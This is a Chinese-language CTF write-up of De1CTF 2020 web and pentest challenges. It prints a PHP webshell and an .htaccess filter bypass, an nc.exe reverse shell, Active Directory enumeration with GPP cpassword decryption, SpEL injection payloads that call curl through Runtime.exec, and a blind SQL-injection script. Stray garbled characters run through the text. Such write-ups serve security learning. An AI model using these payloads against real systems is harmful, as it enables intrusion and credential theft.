終于到第二次XCTF了。沒想到De1ta的題這次這么頂,果然是出給國際隊(duì)伍的難度授账。(膜一波國內(nèi)外大佬隊(duì)伍)
小綠草這次也就我們大二的幾個在打枯跑,大家基本都自閉了。WEB自己也只做出兩道題白热,說實(shí)話要是自己JAVA的學(xué)習(xí)計(jì)劃再提前一點(diǎn)的話說不定能把calc那題出了的...這樣也不至于被卡在20名開外全肮。
等wp出來自己爭取把能做的題都復(fù)現(xiàn)了。
checkin
這題還算比較簡單.就是自己一開始手賤選的mixture去做浪費(fèi)了不少時(shí)間
首先簡單上傳FUZZ下棘捣,會發(fā)現(xiàn)限制了filename辜腺,filetype以及file的內(nèi)容
其他的都還好。不過內(nèi)容黑名單里
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents
主要是一個ph的問題乍恐。對webshell而言,應(yīng)該只能使用不閉合的短標(biāo)簽了
但是因?yàn)槲募缶Y嚴(yán)格限制评疗,所以只能按照要求上傳圖片馬。現(xiàn)在需要.htaccess來控制解析它茵烈。
幸運(yùn)的是百匆,.htaccess并沒有被限制
不過注意。.htaccess中常見的幾種把.jpg解析成php的寫法中呜投,php是必不可少的.那就得繞過限制上傳
這里就有兩種思路了加匈,一種是上傳cgi進(jìn)行g(shù)etshell,當(dāng)時(shí)簡單搜了下發(fā)現(xiàn)確實(shí)并不需要php出現(xiàn)
但是更簡單的是來自XNUCA的非預(yù)期解。使用\直接繞過waf仑荐。
即使是.htaccess這種說法上不允許換行的文件雕拼,它也是支持\
直接換行的,因此輕松bypass
addtype application/x-httpd-p\
hp .jpg
<?=system('cat /flag');
Hard_Pentest_1
做完這題真的是得慶幸自己當(dāng)初htb做了臺windows的靶機(jī)粘招。不然連做下去的勇氣都沒有
比賽時(shí)沒咋截圖,將就下看吧
首先第一步是給出的上傳源碼
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
webshell的限制,主要是文件后綴跟內(nèi)容啥寇。
自己一開始的想法是正則回溯繞下!preg_match()
但是很快就發(fā)現(xiàn)文件太大傳不上去。
而且webshell連分號都沒了,不好構(gòu)造洒扎。
經(jīng)隊(duì)友提醒是臺windows靶機(jī),可以利用windwos不區(qū)分大小寫的特性上傳辑甜。
同時(shí)內(nèi)容可以參考XCTFFINALlfi,用全短標(biāo)簽構(gòu)造無字母數(shù)字webshell
大概是下面這樣的吧,當(dāng)時(shí)自己寫的用不出來,借了郁師傅的直接上車袍冷。
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
當(dāng)時(shí)還順手nmap掃了下
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
Nmap scan report for 47.113.219.76
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Microsoft IIS httpd 8.5 (PHP 7.2.29)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Unknown
|_http-title: upload
3389/tcp closed ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds
然后想抱郁師傅大腿失敗了...只能靠自己了磷醋。
因?yàn)轭}目同一個ip被出成兩個題,基本很容易能看出來要么是單純提權(quán),要么是windows域滲透胡诗。
這里windows靶機(jī)八成就是為了域滲透準(zhǔn)備的邓线。
硬著頭皮不管3721先彈個shell
當(dāng)時(shí)根目錄有別的師傅傳的NC,那就不用我自己傳了。
.\nc.exe vpsip port -e powershell
這樣不至于在uploads目錄被刪時(shí)丟掉所有shell.
然后傳個winPEAS.exe 進(jìn)行信息收集乃戈。
這個也是做htb時(shí)學(xué)到的腳本褂痰,一般是為了提權(quán)掃描下亩进≈⒙牵基本上能滿足需求。
信息里有一處比較明顯
腳本列出的信息中有一個域用戶名字很敏感归薛。HintZip_Pass
下面開始手動信息收集
參考這篇文章域滲透總結(jié)
域(Domain)是相對工作組(Workgroup)的概念谍憔,形象的說匪蝙,域就像中央集權(quán),由一臺或數(shù)臺域控制器(Domain Controller)管理域內(nèi)的其他計(jì)算機(jī)
所以域滲透的核心是通過可控的域用戶习贫,收集其中的可用信息逛球,進(jìn)一步利用其他漏洞發(fā)展更多域用戶。最后能拿到管理員的哈希苫昌,基本就算滲透完整了颤绕。
ipconfig /all可以確認(rèn)處于域管理模式中
PS C:\Users\Public> net user /domain
net user /domain
The request will be processed at a domain controller for domain De1CTF2020.lab.
User accounts for \\dc.De1CTF2020.lab
-------------------------------------------------------------------------------
Administrator De1CTF1 de1ta
Guest HintZip_Pass krbtgt
web
The command completed successfully.
查詢域用戶時(shí)也能得到跟winPEAS一樣的關(guān)于域用戶的信息。
嘗試net use
PS C:\> net use
net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
OK \\192.168.0.12\Hint Microsoft Windows Network
The command completed successfully.
發(fā)現(xiàn)\\192.168.0.12\Hint
祟身。且由于我們剛剛是建立的IPC空鏈接奥务。因此可以無需用戶名密碼訪問它。(不過我后來再看時(shí)發(fā)現(xiàn)這個地址沒了)
net view\\192.168.0.12\
也能發(fā)現(xiàn)有Hint,SYSVOL,NETLOGIN幾個目錄
直接pushd\\192.168.0.12\Hint
進(jìn)入filesystem.發(fā)現(xiàn)了一個flag1_and_flag2hint.zip
基于我們玩的是多人滲透袜硫。所以最好把它c(diǎn)opy到自己私密的位置氯葬。或者把它以其他文件格式保存下來婉陷。(因?yàn)槲以谒伎既绾伟阉孟聛頃r(shí)剛好在蟻劍的shell里發(fā)現(xiàn)別人的zip文件2333)
直接下好別人的zip后,現(xiàn)在要一個密碼
這里就體現(xiàn)出信息收集的重要性了帚称。因?yàn)槲覀冎鞍l(fā)現(xiàn)可以用的文件夾除了Hint還有SYSVOL.所以我選擇百度域滲透 SYSVOL
得到這篇文章域滲透——利用SYSVOL還原組策略中保存的密碼
在域中,存在一個默認(rèn)的共享路徑\\<DOMAIN>\SYSVOL\<DOMAIN>\
域管理員在使用組策略批量管理域內(nèi)主機(jī)時(shí)秽澳,如果配置組策略的過程中需要填入密碼闯睹,那么該密碼會被保存到共享文件夾\SYSVOL下,默認(rèn)所有域內(nèi)用戶可訪問担神,雖然密碼通過AES 256進(jìn)行加密瞻坝,密鑰是公開在微軟官網(wǎng)的。
參考這篇文章域滲透:GPP(Group Policy Preferences)漏洞
可以使用dir /s /a \\域控IP\SYSVOL\*.xml
來嘗試列出存在的xml
dir /s /a \\192.168.0.12\SYSVOL\*.xml
得到完整路徑后讀取杏瞻。這里試了下type不行所刀,gc不行。用more成了
more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>
這個cpassword恰好是屬于HintZip_Pass的捞挥。那么根據(jù)上文浮创,由于私鑰暴露。只要知道公鑰cpassword即可破解砌函。
kali有現(xiàn)成的gpp-decrypt 直接用gpp-decrypt uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08
就成斩披。
得到密碼后解出zip文件
這題做完后后續(xù)提示看都不想看了.真的是難.不過收獲特挺多的。
(以后我一定好好學(xué)滲透.jpg)
calc
昨天比賽時(shí)沒做出來...第二天zjy師傅構(gòu)造出了payload讹俊。才感慨自己還是太菜了垦沉。
抓包就能得到spel/calc?calc=
的路由
提示的這么明顯,只能是spEL的表達(dá)式注入了仍劈。
不過簡單FUZZ一下厕倍,發(fā)現(xiàn)果不其然有waf。
大概有這些關(guān)鍵字吧贩疙,
#,getClass, T( ,java.lang, new ,String,
想要直接RCE當(dāng)然不行讹弯。所以得構(gòu)造
第一想法是查資料况既,找到不少師傅做code-breaking時(shí)用反射進(jìn)行spEL-RCE的payload
原本是
Runtime.getRuntime().exec()
通過反射,我們就能巧妙利用反射構(gòu)造出類與方法组民。使用字符串拼接繞過棒仍。
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxxx");
但是這里String,getClass沒了。不過也有方法繞過
使用''['class']
數(shù)組直接繞
這是參考SEAM2.3.1的一個反序化payload的改法
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')
然而payload打了一發(fā)發(fā)現(xiàn)報(bào)錯臭胜。然后就無語了莫其。這時(shí)想起來,抓包時(shí)發(fā)現(xiàn)header里有openrasp,估計(jì)是直接從底層把runtime之類的給hook掉了。
然后郁師傅說不用執(zhí)行命令也能讀耸三。仔細(xì)想挺有道理的,不然沒必要直接告訴我們flag在根目錄
但是確實(shí)java太菜了...下面是隊(duì)友教我的方法榜配。
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
原來在spEL里是不區(qū)分關(guān)鍵字大小寫的...那直接用java能讀文件的類來就行了...
Java 讀文件的5種方式
同理也可
New java.util.Scanner(New java.io.File("/flag")).nextLine()
java是真的要好好研究下了、
ps:在推送里看到一篇文章恰好提到了De1這題吕晌。才發(fā)現(xiàn)dalao直接bypass openrasp進(jìn)行RCE了...
參考:bypass openrasp SpEL RCE 的過程及思考
原來深挖spEL的底層解析源碼蛋褥,可發(fā)現(xiàn)空字符能直接bypass.所以,又可以產(chǎn)生完全不依賴new的實(shí)例化方法.直接空字符插進(jìn)被過濾的T(
中即可
甚至進(jìn)一步烙心,還能通過反序列化的思想,不顯示的加載惡意類,達(dá)成RCE。
orz原來java的姿勢這么多的么...
mixture
可以任意登錄
member.php注釋中有 orderby
測了下發(fā)現(xiàn)應(yīng)該是order by 后的語句
開始以為只能接limit
那有且僅有procedure analyse
一種方法
但報(bào)錯函數(shù)都沒了淫茵。延時(shí)延不了蹬跃。版本問題只能用5.6以下的函數(shù)匙瘪。真心沒手段了
我有罪,這種難度的sql被卡住蝶缀。該打。
直接and 分流我居然會忘了翁都。
import requests
import urllib.parse
url='http://134.175.185.244/member.php?orderby='
flag=""
for i in range(1,30):
print(i)
a=0
for str1 in "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890,":
payload = "and case when (substr((select password from member),"+str(i)+",1)='"+str1+"') then (benchmark(500000,sha(1))) else 1 end"
payload = urllib.parse.quote(payload)
try:
r = requests.get(url + payload, timeout=2.5)
except requests.exceptions.ReadTimeout:
flag+=str1
print(flag)
a=1
break
if a==0:
break
求得密碼解出來得到
goodlucktoyou
進(jìn)去后一開始發(fā)現(xiàn)有一個select.php任意讀文件的功能與admin.php給出的phpinfo,但是讀完源碼后發(fā)現(xiàn)居然使用了自定義的Minclude這個函數(shù)來包含。phpinfo里也能看到這個函數(shù)的so文件....所以這題真面目是WEB-PWN,應(yīng)該是通過調(diào)這個so來溢出執(zhí)行根目錄的readflag...
然而比賽已經(jīng)快結(jié)束了柄慰,等于白給鳍悠。
AnimalCrossing
這題等wp吧...老實(shí)說不想復(fù)現(xiàn)了。因?yàn)轭}目得到flag除了要彈admin的cookie,還要從admin界面的圖片獲取信息...
沒見過這么磨人的xss.